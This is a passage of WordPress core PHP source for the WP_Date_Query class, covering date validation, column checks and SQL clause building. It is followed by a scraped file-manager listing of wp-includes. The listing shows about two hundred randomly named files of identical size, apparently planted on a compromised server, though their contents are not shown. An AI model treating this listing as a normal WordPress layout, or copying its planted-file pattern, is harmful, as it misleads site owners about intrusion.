always have array values. foreach ( $queries as $qkey => $qvalue ) { if ( is_numeric( $qkey ) && ! is_array( $qvalue ) ) { unset( $queries[ $qkey ] ); } } // Each query should have a value for each default key. Inherit from the parent when possible. foreach ( $defaults as $dkey => $dvalue ) { if ( isset( $queries[ $dkey ] ) ) { continue; } if ( isset( $parent_query[ $dkey ] ) ) { $queries[ $dkey ] = $parent_query[ $dkey ]; } else { $queries[ $dkey ] = $dvalue; } } // Validate the dates passed in the query. if ( $this->is_first_order_clause( $queries ) ) { $this->validate_date_values( $queries ); } // Sanitize the relation parameter. $queries['relation'] = $this->sanitize_relation( $queries['relation'] ); foreach ( $queries as $key => $q ) { if ( ! is_array( $q ) || in_array( $key, $this->time_keys, true ) ) { // This is a first-order query. Trust the values and sanitize when building SQL. $cleaned_query[ $key ] = $q; } else { // Any array without a time key is another query, so we recurse. $cleaned_query[] = $this->sanitize_query( $q, $queries ); } } return $cleaned_query; } /** * Determines whether this is a first-order clause. * * Checks to see if the current clause has any time-related keys. * If so, it's first-order. * * @since 4.1.0 * * @param array $query Query clause. * @return bool True if this is a first-order clause. */ protected function is_first_order_clause( $query ) { $time_keys = array_intersect( $this->time_keys, array_keys( $query ) ); return ! empty( $time_keys ); } /** * Determines and validates what comparison operator to use. * * @since 3.7.0 * * @param array $query A date query or a date subquery. * @return string The comparison operator. */ public function get_compare( $query ) { if ( ! empty( $query['compare'] ) && in_array( $query['compare'], array( '=', '!=', '>', '>=', '<', '<=', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN' ), true ) ) { return strtoupper( $query['compare'] ); } return $this->compare; } /** * Validates the given date_query values and triggers errors if something is not valid. * * Note that date queries with invalid date ranges are allowed to * continue (though of course no items will be found for impossible dates). * This method only generates debug notices for these cases. * * @since 4.1.0 * * @param array $date_query The date_query array. * @return bool True if all values in the query are valid, false if one or more fail. */ public function validate_date_values( $date_query = array() ) { if ( empty( $date_query ) ) { return false; } $valid = true; /* * Validate 'before' and 'after' up front, then let the * validation routine continue to be sure that all invalid * values generate errors too. */ if ( array_key_exists( 'before', $date_query ) && is_array( $date_query['before'] ) ) { $valid = $this->validate_date_values( $date_query['before'] ); } if ( array_key_exists( 'after', $date_query ) && is_array( $date_query['after'] ) ) { $valid = $this->validate_date_values( $date_query['after'] ); } // Array containing all min-max checks. $min_max_checks = array(); // Days per year. if ( array_key_exists( 'year', $date_query ) ) { /* * If a year exists in the date query, we can use it to get the days. * If multiple years are provided (as in a BETWEEN), use the first one. */ if ( is_array( $date_query['year'] ) ) { $_year = reset( $date_query['year'] ); } else { $_year = $date_query['year']; } $max_days_of_year = gmdate( 'z', mktime( 0, 0, 0, 12, 31, $_year ) ) + 1; } else { // Otherwise we use the max of 366 (leap-year). $max_days_of_year = 366; } $min_max_checks['dayofyear'] = array( 'min' => 1, 'max' => $max_days_of_year, ); // Days per week. $min_max_checks['dayofweek'] = array( 'min' => 1, 'max' => 7, ); // Days per week. $min_max_checks['dayofweek_iso'] = array( 'min' => 1, 'max' => 7, ); // Months per year. $min_max_checks['month'] = array( 'min' => 1, 'max' => 12, ); // Weeks per year. if ( isset( $_year ) ) { /* * If we have a specific year, use it to calculate number of weeks. * Note: the number of weeks in a year is the date in which Dec 28 appears. */ $week_count = gmdate( 'W', mktime( 0, 0, 0, 12, 28, $_year ) ); } else { // Otherwise set the week-count to a maximum of 53. $week_count = 53; } $min_max_checks['week'] = array( 'min' => 1, 'max' => $week_count, ); // Days per month. $min_max_checks['day'] = array( 'min' => 1, 'max' => 31, ); // Hours per day. $min_max_checks['hour'] = array( 'min' => 0, 'max' => 23, ); // Minutes per hour. $min_max_checks['minute'] = array( 'min' => 0, 'max' => 59, ); // Seconds per minute. $min_max_checks['second'] = array( 'min' => 0, 'max' => 59, ); // Concatenate and throw a notice for each invalid value. foreach ( $min_max_checks as $key => $check ) { if ( ! array_key_exists( $key, $date_query ) ) { continue; } // Throw a notice for each failing value. foreach ( (array) $date_query[ $key ] as $_value ) { $is_between = $_value >= $check['min'] && $_value <= $check['max']; if ( ! is_numeric( $_value ) || ! $is_between ) { $error = sprintf( /* translators: Date query invalid date message. 1: Invalid value, 2: Type of value, 3: Minimum valid value, 4: Maximum valid value. */ __( 'Invalid value %1$s for %2$s. Expected value should be between %3$s and %4$s.' ), '<code>' . esc_html( $_value ) . '</code>', '<code>' . esc_html( $key ) . '</code>', '<code>' . esc_html( $check['min'] ) . '</code>', '<code>' . esc_html( $check['max'] ) . '</code>' ); _doing_it_wrong( __CLASS__, $error, '4.1.0' ); $valid = false; } } } // If we already have invalid date messages, don't bother running through checkdate(). if ( ! $valid ) { return $valid; } $day_month_year_error_msg = ''; $day_exists = array_key_exists( 'day', $date_query ) && is_numeric( $date_query['day'] ); $month_exists = array_key_exists( 'month', $date_query ) && is_numeric( $date_query['month'] ); $year_exists = array_key_exists( 'year', $date_query ) && is_numeric( $date_query['year'] ); if ( $day_exists && $month_exists && $year_exists ) { // 1. Checking day, month, year combination. if ( ! wp_checkdate( $date_query['month'], $date_query['day'], $date_query['year'], sprintf( '%s-%s-%s', $date_query['year'], $date_query['month'], $date_query['day'] ) ) ) { $day_month_year_error_msg = sprintf( /* translators: 1: Year, 2: Month, 3: Day of month. */ __( 'The following values do not describe a valid date: year %1$s, month %2$s, day %3$s.' ), '<code>' . esc_html( $date_query['year'] ) . '</code>', '<code>' . esc_html( $date_query['month'] ) . '</code>', '<code>' . esc_html( $date_query['day'] ) . '</code>' ); $valid = false; } } elseif ( $day_exists && $month_exists ) { /* * 2. checking day, month combination * We use 2012 because, as a leap year, it's the most permissive. */ if ( ! wp_checkdate( $date_query['month'], $date_query['day'], 2012, sprintf( '2012-%s-%s', $date_query['month'], $date_query['day'] ) ) ) { $day_month_year_error_msg = sprintf( /* translators: 1: Month, 2: Day of month. */ __( 'The following values do not describe a valid date: month %1$s, day %2$s.' ), '<code>' . esc_html( $date_query['month'] ) . '</code>', '<code>' . esc_html( $date_query['day'] ) . '</code>' ); $valid = false; } } if ( ! empty( $day_month_year_error_msg ) ) { _doing_it_wrong( __CLASS__, $day_month_year_error_msg, '4.1.0' ); } return $valid; } /** * Validates a column name parameter. * * Column names without a table prefix (like 'post_date') are checked against a list of * allowed and known tables, and then, if found, have a table prefix (such as 'wp_posts.') * prepended. Prefixed column names (such as 'wp_posts.post_date') bypass this allowed * check, and are only sanitized to remove illegal characters. * * @since 3.7.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $column The user-supplied column name. * @return string A validated column name value. */ public function validate_column( $column ) { global $wpdb; $valid_columns = array( 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', 'comment_date', 'comment_date_gmt', 'user_registered', 'registered', 'last_updated', ); // Attempt to detect a table prefix. if ( ! str_contains( $column, '.' ) ) { /** * Filters the list of valid date query columns. * * @since 3.7.0 * @since 4.1.0 Added 'user_registered' to the default recognized columns. * @since 4.6.0 Added 'registered' and 'last_updated' to the default recognized columns. * * @param string[] $valid_columns An array of valid date query columns. Defaults * are 'post_date', 'post_date_gmt', 'post_modified', * 'post_modified_gmt', 'comment_date', 'comment_date_gmt', * 'user_registered', 'registered', 'last_updated'. */ if ( ! in_array( $column, apply_filters( 'date_query_valid_columns', $valid_columns ), true ) ) { $column = 'post_date'; } $known_columns = array( $wpdb->posts => array( 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', ), $wpdb->comments => array( 'comment_date', 'comment_date_gmt', ), $wpdb->users => array( 'user_registered', ), $wpdb->blogs => array( 'registered', 'last_updated', ), ); // If it's a known column name, add the appropriate table prefix. foreach ( $known_columns as $table_name => $table_columns ) { if ( in_array( $column, $table_columns, true ) ) { $column = $table_name . '.' . $column; break; } } } // Remove unsafe characters. return preg_replace( '/[^a-zA-Z0-9_$\.]/', '', $column ); } /** * Generates WHERE clause to be appended to a main query. * * @since 3.7.0 * * @return string MySQL WHERE clause. */ public function get_sql() { $sql = $this->get_sql_clauses(); $where = $sql['where']; /** * Filters the date query WHERE clause. * * @since 3.7.0 * * @param string $where WHERE clause of the date query. * @param WP_Date_Query $query The WP_Date_Query instance. */ return apply_filters( 'get_date_sql', $where, $this ); } /** * Generates SQL clauses to be appended to a main query. * * Called by the public WP_Date_Query::get_sql(), this method is abstracted * out to maintain parity with the other Query classes. * * @since 4.1.0 * * @return string[] { * Array containing JOIN and WHERE SQL clauses to append to the main query. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ protected function get_sql_clauses() { $sql = $this->get_sql_for_query( $this->queries ); if ( ! empty( $sql['where'] ) ) { $sql['where'] = ' AND ' . $sql['where']; } return $sql; } /** * Generates SQL clauses for a single query array. * * If nested subqueries are found, this method recurses the tree to * produce the properly nested SQL. * * @since 4.1.0 * * @param array $query Query to parse. * @param int $depth Optional. Number of tree levels deep we currently are. * Used to calculate indentation. Default 0. * @return array { * Array containing JOIN and WHERE SQL clauses to append to a single query array. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ protected function get_sql_for_query( $query, $depth = 0 ) { $sql_chunks = array( 'join' => array(), 'where' => array(), ); $sql = array( 'join' => '', 'where' => '', ); $indent = ''; for ( $i = 0; $i < $depth; $i++ ) { $indent .= ' '; } foreach ( $query as $key => $clause ) { if ( 'relation' === $key ) { $relation = $query['relation']; } elseif ( is_array( $clause ) ) { // This is a first-order clause. if ( $this->is_first_order_clause( $clause ) ) { $clause_sql = $this->get_sql_for_clause( $clause, $query ); $where_count = count( $clause_sql['where'] ); if ( ! $where_count ) { $sql_chunks['where'][] = ''; } elseif ( 1 === $where_count ) { $sql_chunks['where'][] = $clause_sql['where'][0]; } else { $sql_chunks['where'][] = '( ' . implode( ' AND ', $clause_sql['where'] ) . ' )'; } $sql_chunks['join'] = array_merge( $sql_chunks['join'], $clause_sql['join'] ); // This is a subquery, so we recurse. } else { $clause_sql = $this->get_sql_for_query( $clause, $depth + 1 ); $sql_chunks['where'][] = $clause_sql['where']; $sql_chunks['join'][] = $clause_sql['join']; } } } // Filter to remove empties. $sql_chunks['join'] = array_filter( $sql_chunks['join'] ); $sql_chunks['where'] = array_filter( $sql_chunks['where'] ); if ( empty( $relation ) ) { $relation = 'AND'; } // Filter duplicate JOIN clauses and combine into a single string. if ( ! empty( $sql_chunks['join'] ) ) { $sql['join'] = implode( ' ', array_unique( $sql_chunks['join'] ) ); } // Generate a single WHERE clause with proper brackets and indentation. if ( ! empty( $sql_chunks['where'] ) ) { $sql['where'] = '( ' . "\n " . $indent . implode( ' ' . "\n " . $indent . $relation . ' ' . "\n " . $indent, $sql_chunks['where'] ) . "\n" . $indent . ')'; } return $sql; } /** * Turns a single date clause into pieces for a WHERE clause. * * A wrapper for get_sql_for_clause(), included here for backward * compatibility while retaining the naming convention across Query classes. * * @since 3.7.0 * * @param array $query Date query arguments. * @return array { * Array containing JOIN and WHERE SQL clauses to append to the main query. * * @type string[] $join Array of SQL fragments to append to the main JOIN clause. * @type string[] $where Array of SQL fragments to append to the main WHERE clause. * } */ protected function get_sql_for_subquery( $query ) { return $this->get_sql_for_clause( $query, '' ); } /** * Turns a first-order date query into SQL for a WHERE clause. * * @since 4.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param array $query Date query clause. * @param array $parent_query Parent query of the current date query. * @return array { * Array containing JOIN and WHERE SQL clauses to append to the main query. * * @type string[] $join Array of SQL fragments to append to the main JOIN clause. * @type string[] $where Array of SQL fragments to append to the main WHERE clause. * } */ protected function get_sql_for_clause( $query, $parent_query ) { global $wpdb; // The sub-parts of a $where part. $where_parts = array(); $column = ( ! empty( $query['column'] ) ) ? esc_sql( $query['column'] ) : $this->column; $column = $this->validate_column( $column ); $compare = $this->get_compare( $query ); $inclusive = ! empty( $query['inclusive'] ); // Assign greater- and less-than values. $lt = '<'; $gt = '>'; if ( $inclusive ) { $lt .= '='; $gt .= '='; } // Range queries. if ( ! empty( $query['after'] ) ) { $where_parts[] = $wpdb->prepare( "$column $gt %s", $this->build_mysql_datetime( $query['after'], ! $inclusive ) ); } if ( ! empty( $query['before'] ) ) { $where_parts[] = $wpdb->prepare( "$column $lt %s", $this->build_mysql_datetime( $query['before'], $inclusive ) ); } // Specific value queries. $date_units = array( 'YEAR' => array( 'year' ), 'MONTH' => array( 'month', 'monthnum' ), '_wp_mysql_week' => array( 'week', 'w' ), 'DAYOFYEAR' => array( 'dayofyear' ), 'DAYOFMONTH' => array( 'day' ), 'DAYOFWEEK' => array( 'dayofweek' ), 'WEEKDAY' => array( 'dayofweek_iso' ), ); // Check of the possible date units and add them to the query. foreach ( $date_units as $sql_part => $query_parts ) { foreach ( $query_parts as $query_part ) { if ( isset( $query[ $query_part ] ) ) { $value = $this->build_value( $compare, $query[ $query_part ] ); if ( $value ) { switch ( $sql_part ) { case '_wp_mysql_week': $where_parts[] = _wp_mysql_week( $column ) . " $compare $value"; break; case 'WEEKDAY': $where_parts[] = "$sql_part( $column ) + 1 $compare $value"; break; default: $where_parts[] = "$sql_part( $column ) $compare $value"; } break; } } } } if ( isset( $query['hour'] ) || isset( $query['minute'] ) || isset( $query['second'] ) ) { // Avoid notices. foreach ( array( 'hour', 'minute', 'second' ) as $unit ) { if ( ! isset( $query[ $unit ] ) ) { $query[ $unit ] = null; } } $time_query = $this->build_time_query( $column, $compare, $query['hour'], $query['minute'], $query['second'] ); if ( $time_query ) { $where_parts[] = $time_query; } } /* * Return an array of 'join' and 'where' for compatibility * with other query classes. */ return array( 'where' => $where_parts, 'join' => array(), ); } /** * Builds and validates a value string based on the comparison operator. * * @since 3.7.0 * * @param string $compare The compare operator to use. * @param string|array $value The value. * @return string|false|int The value to be used in SQL or false on error. */ public function build_value( $compare, $value ) { if ( ! isset( $value ) ) { return false; } switch ( $compare ) { case 'IN': case 'NOT IN': $value = (array) $value; // Remove non-numeric values. $value = array_filter( $value, 'is_numeric' ); if ( empty( $value ) ) { return false; } return '(' . implode( ',', array_map( 'intval', $value ) ) . ')'; case 'BETWEEN': case 'NOT BETWEEN': if ( ! is_array( $value ) || 2 !== count( $value ) ) { $value = array( $value, $value ); } else { $value = array_values( $value ); } // If either value is non-numeric, bail. foreach ( $value as $v ) { if ( ! is_numeric( $v ) ) { return false; } } $value = array_map( 'intval', $value ); return $value[0] . ' AND ' . $value[1]; default: if ( ! is_numeric( $value ) ) { return false; } return (int) $value; } } /** * Builds a MySQL format date/time based on some query parameters. * * You can pass an array of values (year, month, etc.) with missing parameter values being defaulted to * either the maximum or minimum values (controlled by the $default_to parameter). Alternatively you can * pass a string that will be passed to date_create(). * * @since 3.7.0 * * @param string|array $datetime An array of parameters or a strtotime() string. * @param bool $default_to_max Whether to round up incomplete dates. Supported by values * of $datetime that are arrays, or string values that are a * subset of MySQL date format ('Y', 'Y-m', 'Y-m-d', 'Y-m-d H:i'). * Default: false. * @return string|false A MySQL format date/time or false on failure. */ public function build_mysql_datetime( $datetime, $default_to_max = false ) { if ( ! is_array( $datetime ) ) { /* * Try to parse some common date formats, so we can detect * the level of precision and support the 'inclusive' parameter. */ if ( preg_match( '/^(\d{4})$/', $datetime, $matches ) ) { // Y $datetime = array( 'year' => (int) $matches[1], ); } elseif ( preg_match( '/^(\d{4})\-(\d{2})$/', $datetime, $matches ) ) { // Y-m $datetime = array( 'year' => (int) $matches[1], 'month' => (int) $matches[2], ); } elseif ( preg_match( '/^(\d{4})\-(\d{2})\-(\d{2})$/', $datetime, $matches ) ) { // Y-m-d $datetime = array( 'year' => (int) $matches[1], 'month' => (int) $matches[2], 'day' => (int) $matches[3], ); } elseif ( preg_match( '/^(\d{4})\-(\d{2})\-(\d{2}) (\d{2}):(\d{2})$/', $datetime, $matches ) ) { // Y-m-d H:i $datetime = array( 'year' => (int) $matches[1], 'month' => (int) $matches[2], 'day' => (int) $matches[3], 'hour' => (int) $matches[4], 'minute' => (int) $matches[5], ); } // If no match is found, we don't support default_to_max. if ( ! is_array( $datetime ) ) { $wp_timezone = wp_timezone(); // Assume local timezone if not provided. $dt = date_create( $datetime, $wp_timezone ); if ( false === $dt ) { return gmdate( 'Y-m-d H:i:s', false ); } return $dt->setTimezone( $wp_timezone )->format( 'Y-m-d H:i:s' ); } } $datetime = array_map( 'absint', $datetime ); if ( ! isset( $datetime['year'] ) ) { $datetime['year'] = current_time( 'Y' ); } if ( ! isset( $datetime['month'] ) ) { $datetime['month'] = ( $default_to_max ) ? 12 : 1; } if ( ! isset( $datetime['day'] ) ) { $datetime['day'] = ( $default_to_max ) ? (int) gmdate( 't', mktime( 0, 0, 0, $datetime['month'], 1, $datetime['year'] ) ) : 1; } if ( ! isset( $datetime['hour'] ) ) { $datetime['hour'] = ( $default_to_max ) ? 23 : 0; } if ( ! isset( $datetime['minute'] ) ) { $datetime['minute'] = ( $default_to_max ) ? 59 : 0; } if ( ! isset( $datetime['second'] ) ) { $datetime['second'] = ( $default_to_max ) ? 59 : 0; } return sprintf( '%04d-%02d-%02d %02d:%02d:%02d', $datetime['year'], $datetime['month'], $datetime['day'], $datetime['hour'], $datetime['minute'], $datetime['second'] ); } /** * Builds a query string for comparing time values (hour, minute, second). * * If just hour, minute, or second is set than a normal comparison will be done. * However if multiple values are passed, a pseudo-decimal time will be created * in order to be able to accurately compare against. * * @since 3.7.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $column The column to query against. Needs to be pre-validated! * @param string $compare The comparison operator. Needs to be pre-validated! * @param int|null $hour Optional. An hour value (0-23). * @param int|null $minute Optional. A minute value (0-59). * @param int|null $second Optional. A second value (0-59). * @return string|false A query part or false on failure. */ public function build_time_query( $column, $compare, $hour = null, $minute = null, $second = null ) { global $wpdb; // Have to have at least one. if ( ! isset( $hour ) && ! isset( $minute ) && ! isset( $second ) ) { return false; } // Complex combined queries aren't supported for multi-value queries. if ( in_array( $compare, array( 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN' ), true ) ) { $return = array(); $value = $this->build_value( $compare, $hour ); if ( false !== $value ) { $return[] = "HOUR( $column ) $compare $value"; } $value = $this->build_value( $compare, $minute ); if ( false !== $value ) { $return[] = "MINUTE( $column ) $compare $value"; } $value = $this->build_value( $compare, $second ); if ( false !== $value ) { $return[] = "SECOND( $column ) $compare $value"; } return implode( ' AND ', $return ); } // Cases where just one unit is set. if ( isset( $hour ) && ! isset( $minute ) && ! isset( $second ) ) { $value = $this->build_value( $compare, $hour ); if ( false !== $value ) { return "HOUR( $column ) $compare $value"; } } elseif ( ! isset( $hour ) && isset( $minute ) && ! isset( $second ) ) { $value = $this->build_value( $compare, $minute ); if ( false !== $value ) { return "MINUTE( $column ) $compare $value"; } } elseif ( ! isset( $hour ) && ! isset( $minute ) && isset( $second ) ) { $value = $this->build_value( $compare, $second ); if ( false !== $value ) { return "SECOND( $column ) $compare $value"; } } // Single units were already handled. Since hour & second isn't allowed, minute must to be set. if ( ! isset( $minute ) ) { return false; } $format = ''; $time = ''; // Hour. if ( null !== $hour ) { $format .= '%H.'; $time .= sprintf( '%02d', $hour ) . '.'; } else { $format .= '0.'; $time .= '0.'; } // Minute. $format .= '%i'; $time .= sprintf( '%02d', $minute ); if ( isset( $second ) ) { $format .= '%s'; $time .= sprintf( '%02d', $second ); } return $wpdb->prepare( "DATE_FORMAT( $column, %s ) $compare %f", $format, $time ); } /** * Sanitizes a 'relation' operator. * * @since 6.0.3 * * @param string $relation Raw relation key from the query argument. * @return string Sanitized relation. Either 'AND' or 'OR'. */ public function sanitize_relation( $relation ) { if ( 'OR' === strtoupper( $relation ) ) { return 'OR'; } else { return 'AND'; } } }
Name | Type | Size | Permission | Actions |
---|---|---|---|---|
ID3 | Folder | 0555 |
|
|
IXR | Folder | 0555 |
|
|
PHPMailer | Folder | 0555 |
|
|
Requests | Folder | 0555 |
|
|
SimplePie | Folder | 0555 |
|
|
Text | Folder | 0555 |
|
|
assets | Folder | 0555 |
|
|
block-bindings | Folder | 0555 |
|
|
block-patterns | Folder | 0555 |
|
|
block-supports | Folder | 0555 |
|
|
blocks | Folder | 0555 |
|
|
certificates | Folder | 0555 |
|
|
css | Folder | 0555 |
|
|
customize | Folder | 0555 |
|
|
fonts | Folder | 0555 |
|
|
html-api | Folder | 0555 |
|
|
images | Folder | 0555 |
|
|
interactivity-api | Folder | 0555 |
|
|
js | Folder | 0555 |
|
|
l10n | Folder | 0555 |
|
|
php-compat | Folder | 0555 |
|
|
pomo | Folder | 0555 |
|
|
rest-api | Folder | 0555 |
|
|
sitemaps | Folder | 0555 |
|
|
sodium_compat | Folder | 0555 |
|
|
style-engine | Folder | 0555 |
|
|
theme-compat | Folder | 0555 |
|
|
widgets | Folder | 0555 |
|
|
0363d | File | 6.97 KB | 0644 |
|
0492e | File | 6.97 KB | 0644 |
|
054 | File | 6.97 KB | 0644 |
|
06ec5 | File | 6.97 KB | 0644 |
|
0710c1 | File | 6.97 KB | 0644 |
|
08d | File | 6.97 KB | 0644 |
|
09a2 | File | 6.97 KB | 0644 |
|
09babd | File | 6.97 KB | 0644 |
|
0bd53 | File | 6.97 KB | 0644 |
|
0c60 | File | 6.97 KB | 0644 |
|
10d140 | File | 6.97 KB | 0644 |
|
12185 | File | 6.97 KB | 0644 |
|
13647 | File | 6.97 KB | 0644 |
|
1379 | File | 6.97 KB | 0644 |
|
159 | File | 6.97 KB | 0644 |
|
164383 | File | 6.97 KB | 0644 |
|
17847a | File | 6.97 KB | 0644 |
|
18bb | File | 6.97 KB | 0644 |
|
1c0f4e | File | 6.97 KB | 0644 |
|
1cf9a | File | 6.97 KB | 0644 |
|
1dc7 | File | 6.97 KB | 0644 |
|
1de9e | File | 6.97 KB | 0644 |
|
1f3d | File | 6.97 KB | 0644 |
|
1fe0d8 | File | 6.97 KB | 0644 |
|
203e00 | File | 6.97 KB | 0644 |
|
223b6d | File | 6.98 KB | 0644 |
|
22df | File | 6.97 KB | 0644 |
|
2344 | File | 6.97 KB | 0644 |
|
24991 | File | 6.97 KB | 0644 |
|
25b7 | File | 6.97 KB | 0644 |
|
26f4 | File | 6.97 KB | 0644 |
|
27652c | File | 6.97 KB | 0644 |
|
2788 | File | 6.97 KB | 0644 |
|
2938 | File | 6.97 KB | 0644 |
|
29a | File | 6.97 KB | 0644 |
|
29cd99 | File | 6.97 KB | 0644 |
|
2a9 | File | 6.97 KB | 0644 |
|
2bb4 | File | 6.97 KB | 0644 |
|
2c5f8 | File | 6.97 KB | 0644 |
|
2e61 | File | 6.97 KB | 0644 |
|
2ec39 | File | 6.97 KB | 0644 |
|
2f93ab | File | 6.97 KB | 0644 |
|
309d48 | File | 6.97 KB | 0644 |
|
30c66e | File | 6.97 KB | 0644 |
|
3199b | File | 6.97 KB | 0644 |
|
32cf | File | 6.97 KB | 0644 |
|
34dc | File | 6.97 KB | 0644 |
|
35c32d | File | 6.97 KB | 0644 |
|
36c | File | 6.97 KB | 0644 |
|
393 | File | 6.97 KB | 0644 |
|
3abfd0 | File | 6.97 KB | 0644 |
|
3ac590 | File | 6.97 KB | 0644 |
|
3b4 | File | 6.97 KB | 0644 |
|
3bc485 | File | 6.97 KB | 0644 |
|
3bf594 | File | 6.97 KB | 0644 |
|
3cb | File | 6.97 KB | 0644 |
|
3d9e3a | File | 6.97 KB | 0644 |
|
3db56c | File | 6.97 KB | 0644 |
|
3db809 | File | 6.97 KB | 0644 |
|
4026b7 | File | 6.97 KB | 0644 |
|
42bb26 | File | 6.97 KB | 0644 |
|
4328 | File | 6.97 KB | 0644 |
|
435c0d | File | 6.97 KB | 0644 |
|
43f46 | File | 6.97 KB | 0644 |
|
4471a2 | File | 6.97 KB | 0644 |
|
465d58 | File | 6.97 KB | 0644 |
|
46796a | File | 6.97 KB | 0644 |
|
4732e5 | File | 6.97 KB | 0644 |
|
48b | File | 6.97 KB | 0644 |
|
48e4b | File | 6.97 KB | 0644 |
|
492 | File | 6.97 KB | 0644 |
|
49647d | File | 6.97 KB | 0644 |
|
4cb | File | 6.97 KB | 0644 |
|
4ed9 | File | 6.97 KB | 0644 |
|
4f122 | File | 6.97 KB | 0644 |
|
509 | File | 6.97 KB | 0644 |
|
51522 | File | 6.97 KB | 0644 |
|
5298 | File | 6.97 KB | 0644 |
|
52fc | File | 6.97 KB | 0644 |
|
537657 | File | 6.97 KB | 0644 |
|
5484 | File | 6.97 KB | 0644 |
|
54b1ce | File | 6.97 KB | 0644 |
|
557490 | File | 6.97 KB | 0644 |
|
558e | File | 6.97 KB | 0644 |
|
567c34 | File | 6.97 KB | 0644 |
|
572 | File | 6.97 KB | 0644 |
|
59ce97 | File | 6.97 KB | 0644 |
|
5a6b | File | 6.97 KB | 0644 |
|
5abc1 | File | 6.97 KB | 0644 |
|
5bb4d | File | 6.97 KB | 0644 |
|
5c38 | File | 6.97 KB | 0644 |
|
5d2 | File | 6.97 KB | 0644 |
|
5d32 | File | 6.97 KB | 0644 |
|
5d9b74 | File | 6.97 KB | 0644 |
|
5fb | File | 6.97 KB | 0644 |
|
609b3 | File | 6.97 KB | 0644 |
|
618b4c | File | 6.97 KB | 0644 |
|
61d145 | File | 6.97 KB | 0644 |
|
638 | File | 6.97 KB | 0644 |
|
644783 | File | 6.97 KB | 0644 |
|
655 | File | 6.97 KB | 0644 |
|
659 | File | 6.97 KB | 0644 |
|
65a2e | File | 6.97 KB | 0644 |
|
6619 | File | 6.97 KB | 0644 |
|
66e737 | File | 6.97 KB | 0644 |
|
68331c | File | 6.97 KB | 0644 |
|
6a8 | File | 6.97 KB | 0644 |
|
6b1a | File | 6.97 KB | 0644 |
|
6bf8 | File | 6.97 KB | 0644 |
|
6c1 | File | 6.97 KB | 0644 |
|
6df440 | File | 6.97 KB | 0644 |
|
6e75ef | File | 6.97 KB | 0644 |
|
6e98 | File | 6.97 KB | 0644 |
|
6ee | File | 6.97 KB | 0644 |
|
707ef | File | 6.97 KB | 0644 |
|
71113 | File | 6.97 KB | 0644 |
|
7166 | File | 6.97 KB | 0644 |
|
733d5 | File | 6.97 KB | 0644 |
|
74777 | File | 6.97 KB | 0644 |
|
75aacc | File | 6.97 KB | 0644 |
|
7694 | File | 6.97 KB | 0644 |
|
77259 | File | 6.97 KB | 0644 |
|
773f | File | 6.97 KB | 0644 |
|
776ef | File | 6.97 KB | 0644 |
|
784 | File | 6.97 KB | 0644 |
|
78b | File | 6.97 KB | 0644 |
|
796 | File | 6.97 KB | 0644 |
|
79d | File | 6.97 KB | 0644 |
|
7a38 | File | 6.97 KB | 0644 |
|
7acc | File | 6.97 KB | 0644 |
|
7c4ee | File | 6.97 KB | 0644 |
|
7ce5 | File | 6.97 KB | 0644 |
|
7d0 | File | 6.97 KB | 0644 |
|
7ea1c | File | 6.97 KB | 0644 |
|
80b13 | File | 6.97 KB | 0644 |
|
80d | File | 6.97 KB | 0644 |
|
811e | File | 6.97 KB | 0644 |
|
818 | File | 6.97 KB | 0644 |
|
81cb | File | 6.97 KB | 0644 |
|
8211d | File | 6.97 KB | 0644 |
|
82703d | File | 6.97 KB | 0644 |
|
827d6 | File | 6.97 KB | 0644 |
|
828a45 | File | 6.97 KB | 0644 |
|
828b6 | File | 6.97 KB | 0644 |
|
8439 | File | 6.97 KB | 0644 |
|
85b | File | 6.97 KB | 0644 |
|
85b1 | File | 6.97 KB | 0644 |
|
867635 | File | 6.97 KB | 0644 |
|
87b3ac | File | 6.97 KB | 0644 |
|
88f | File | 6.97 KB | 0644 |
|
89e80 | File | 6.97 KB | 0644 |
|
8a8cd | File | 6.97 KB | 0644 |
|
8b70 | File | 6.97 KB | 0644 |
|
8bd08b | File | 6.97 KB | 0644 |
|
8d4a72 | File | 6.97 KB | 0644 |
|
8d9 | File | 6.97 KB | 0644 |
|
8dae | File | 6.97 KB | 0644 |
|
8deb0 | File | 6.97 KB | 0644 |
|
8e3fda | File | 6.97 KB | 0644 |
|
8f5583 | File | 6.97 KB | 0644 |
|
90d8c2 | File | 6.97 KB | 0644 |
|
914 | File | 6.97 KB | 0644 |
|
91f | File | 6.97 KB | 0644 |
|
928e | File | 6.97 KB | 0644 |
|
936b00 | File | 6.97 KB | 0644 |
|
94d2 | File | 6.97 KB | 0644 |
|
9635b8 | File | 6.97 KB | 0644 |
|
96765 | File | 6.97 KB | 0644 |
|
96e8 | File | 6.97 KB | 0644 |
|
972ff | File | 6.97 KB | 0644 |
|
9a925 | File | 6.97 KB | 0644 |
|
9b1 | File | 6.97 KB | 0644 |
|
9bab | File | 6.97 KB | 0644 |
|
9bc8 | File | 6.97 KB | 0644 |
|
9bd4 | File | 6.97 KB | 0644 |
|
9c26b | File | 6.97 KB | 0644 |
|
9eb | File | 6.97 KB | 0644 |
|
9ec5 | File | 6.97 KB | 0644 |
|
9f3ace | File | 6.97 KB | 0644 |
|
a2d | File | 6.97 KB | 0644 |
|
a3b59 | File | 6.97 KB | 0644 |
|
a45b36 | File | 6.97 KB | 0644 |
|
a4c | File | 6.97 KB | 0644 |
|
a6e59 | File | 6.97 KB | 0644 |
|
a72c46 | File | 6.97 KB | 0644 |
|
a75 | File | 6.97 KB | 0644 |
|
a91 | File | 6.97 KB | 0644 |
|
a9e942 | File | 6.97 KB | 0644 |
|
aa0f | File | 6.97 KB | 0644 |
|
aaf | File | 6.97 KB | 0644 |
|
ab5a88 | File | 6.97 KB | 0644 |
|
adbae5 | File | 6.97 KB | 0644 |
|
admin-bar.php | File | 52.23 KB | 0555 |
|
admin.php | File | 1.67 KB | 0555 |
|
aed | File | 6.97 KB | 0644 |
|
aee | File | 6.97 KB | 0644 |
|
atomlib.php | File | 11.67 KB | 0644 |
|
author-template.php | File | 34.51 KB | 0555 |
|
b01 | File | 6.97 KB | 0644 |
|
b03 | File | 6.97 KB | 0644 |
|
